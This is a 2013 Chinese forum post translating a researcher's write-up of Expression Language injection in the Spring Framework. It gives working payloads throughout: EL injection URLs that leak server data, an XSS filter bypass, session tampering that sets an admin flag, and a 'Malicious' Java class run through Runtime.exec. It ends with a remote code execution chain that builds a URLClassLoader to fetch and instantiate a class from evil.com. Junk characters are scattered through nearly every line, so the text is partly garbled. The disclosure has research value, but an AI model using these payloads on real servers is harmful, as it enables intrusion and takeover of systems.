找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2598|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Remote Code with
( a& R( ~" F# u  w9 S8 VExpression Language Injection3 M4 k0 d+ V9 R# V* n  n. [% i
Spring Framework脆弱性—DanAmodio
# V- U& Z: `) v2 a( T) u% W3 V, p全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
) ^" m# s7 Z5 S( v" H' r5 w1 a1 \可能会存在风险。
% W1 Q3 u( p8 n在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
( s2 s5 }6 [3 C' {& EArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可0 Q4 E4 n0 ~/ Q2 H- s6 N4 b
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,* k% ^* q0 f( M
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前3 o. J! ~; ~* `. X
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。! p; `+ t, m# f5 Z* q
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
* y9 I" U5 T# Y1 Z* m+ h' s- i我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
. g& Q0 |3 u* H- ?+ |* V( m本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。' \  t6 {( |$ B+ L: S
这些版本不支持禁用double EL resolution.
5 t! W5 H, \1 g9 i! ]这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
2 A! z, p; n9 w6 c4 \2 F6 O8 f: zEL2.2容器上可能进行远程代码执行。
! s1 H$ O1 o% o& @6 Y2 o这是一个原始信息泄露的攻击例子:  L* }. e! [! W7 T# Z! G* s
请求:
( d- C% J: p. x7 T4 Ittp://vulnerable.com/foo?message=${applicationScope}
% s& a* r# F" M! [$ z7 B9 |; n到达以下内容页面:/ C5 Y. `) E( b$ P$ M8 R" l3 c
结果将输出一些包含内部服务器信息calsspath 和本地工作目录$ R" b1 ]) p# P& C
你也可以做一些其他事情,如这样:# d% M9 @" ?9 p: G
${9999+1}
% \7 Z# c* p1 {4 [, r还可以访问session 对象和beans+ K) p! S, r* R7 A! T
${employee.lastName}
. j- t7 x, G1 S- j& N, L7 [; H$ t在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是0 t  Y* r) `2 s0 w- f
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
& E4 D' C3 [/ b0 }" W西,比如XSS.- X( x. r& A# h1 |. I7 U  |/ i
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
$ }- Y5 z# G% r4 V$ W+ m突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤) x; Q" y( f$ [0 [8 d
呢?”4 q& N" G$ v. _( v# `0 e
因此,我尝试巳缦拢�
$ W+ P$ h& N6 a4 K9 I! @. _; whttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
! y1 n) b3 X! {/ Z6 J3 AP2 g/ }- _8 q0 a0 O( _! D/ j
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返: B3 t( d7 Z/ x$ X# J: ~9 K
回的文本被插入进了spring:message 标签。; m4 j0 W! m$ f- A9 A
这里是一个最终绕过过滤的实例:
0 N5 a. Y5 m& |. `7 ~/ F9 khttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ% i8 p/ h: x( Y# m4 k% q
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
2 N" R0 e  C/ B2 W什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?1 i' H! Y  Q, p# k/ r# v
经过一番研究,我学习到EL2.2 增加了方法调用。
1 _: F8 g/ A; h3 O我写了一个快速测试应用程序代码并且检测一些功能
4 {1 d; T, W- O3 K3 X6 b${pageContext.request.getSession().setAttribute(“account”,”123456″)}- ?3 l: Q8 t6 [2 l9 I
${pageContext.request.getSession().setAttribute(“admin”,true)}
) _. u6 @& Q0 L0 d2 n好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的' `/ c1 j7 F  f5 i, n! x4 q$ s
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
  J! Z5 J2 k$ K${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
* s7 U3 N; l. y; T$ c6 w“, 1234)}! [) m1 H  A% w- J
${“”.getClass().forName(“java.lang.Runtime”)}
- G, j' o% N: D( `  D, b2 U哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不* s$ X5 g* Q. t- a
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函- G5 V6 U2 }9 V! O" b4 X
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
2 a! @: s1 p+ f* E9 O: c; s一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于: D" d" o6 s, g- J/ c3 P
方法签名invoke(Object obj, Object„ args)  [; D7 h$ J, O, h$ a; ]
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问. `. L4 R2 \# p/ ~# ^- z
题,以让它可以工作起来。8 d! h" g0 [$ z  h: D
漏洞利用:0 F$ ~5 h, O9 E. l3 u% l2 R
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
: z& d; [; n: E6 x8 y1 Y2 L9 `. o- y: G希望你们中的一些JAVA奇才告诉我我是如此的可笑。# }, z! k7 _" I- k0 ^5 L, E
这里有一些我试过的失败的用例,为了试图让它工作的用例:
3 h. k0 z' g* l; K) T 写文件到文件系统
4 [1 }4 Y2 _$ z2 r, S+ k 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
+ V: {" S2 H$ P! O6 Q, r我认为这些可以很好的工作,但是我不能找到合适的类来载入。$ x( a# r1 Z; ^
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
. }# U. [' t; P8 r0 \1 }$ Njavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:/ z, r5 u/ y( r: E
org.springframework.expression.spel.standard.SpelExpressionParser not found0 m6 x& s8 {$ i2 ^$ y+ Y% k
by) M5 _; R/ |& X, C
org.glassfish.web.javax.servlet.jsp [194]." y8 O- o+ F5 a8 k+ i4 `9 g
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public: ^8 _6 v3 d1 z/ ~2 g! g9 [6 P
 利用反射来创建一个新的Runtime(and watch the world burn)
1 z- m( {- B- ^( F0 H${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
4 ^5 [' I7 f3 a% C% z) t% }(“java.lang.Runtime”)).getDeclaredConstructors()[0])}2 |' U1 A2 A' G* m+ a3 b; u
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
& a5 E4 s" |5 ?4 L 使用java.lang.ProcessBuilder. [0 C# F3 l7 Z: a4 y& l
 用表达式语言来评估表达式语言3 K+ @5 x+ `4 I$ M7 l
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
- w+ F8 K: c4 j. Y1 b( U1 @8 l${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
. }. O3 w% {6 Z- T8 v' ^“,”".getClass(),null)}
* t- \( u% V; M) X% n 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)- {* H5 M6 m8 A4 @- b' v4 q# n' q7 L
我在使用一个空数组通过Method.invoke()时失败了很多次
, k6 b6 `' N8 _& |+ L6 r' O. g9 n3 d“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
" t' i, D0 ^) o( u1 x.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
9 l: {* i1 i/ irrayList”).newInstance().toArray())
. g7 ^; f, D( w9 X" S  ^$ Djava.lang.IllegalArgumentException: wrong number of arguments
8 R2 R  a' w+ s, l* x  N最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
* w5 S( N" s- p) L* }以创建一个恶意class文件并且指向类装载器." i, A1 g" w% p4 {& w7 S
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:9 V2 _$ b& s: s7 H+ H1 |/ c3 V# X
public class Malicious {
2 i' i1 N  U& Q, wpublic Malicious() {
; ~4 D2 B; }# j  Itry {& I' Z+ n7 f& U5 t6 R
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
/ g, i% o4 N( S0 V* ajava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win' y# |, W3 i( X5 K0 U4 |0 H
} catch (Exception e) {
* [1 _8 ?1 r& G7 J5 q0 p! I! V- C) r}
0 H- ~' Q) ~) N' e% ]8 U  k0 u8 Y}
$ V8 A7 E; M( a' U" {! z7 c) P8 s我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回6 H: y# h. W" v6 T) u6 O' ^# [, b
话中,因此它可以被使用.
; R) T( L2 {& ]${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
) V- ]- f4 r5 l2 m) E/ V(“java.util.ArrayList”).newInstance())}
+ |  I0 x+ H7 a' ]% |URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
* P3 h( d0 k+ L& m/ ^- X4 O, R一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和" @. P% s9 h- l/ _7 i* r$ V# H
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
( v4 s" @  I2 e我们可以调用的create(string)方法,然后转换对一个URL对象。
+ o% B1 t  w8 Z* _! |& D. l, v${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
+ t3 W3 \/ |' U  b1 u5 ]; j, Dere/malicious/classfile/is/located/”).toURL())}  p/ e$ \9 S9 a6 |! u* r# U
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,  h' Y' `' ^0 D( R/ a
恶意类文件被装载并创建,触发远程代码.
1 ]- Y; w; @+ j3 [# {" @% _${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
2 T9 ?, j: j" T5 [xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
  W& a; C% ^6 K! |getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance+ {- m7 J+ ]& C
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表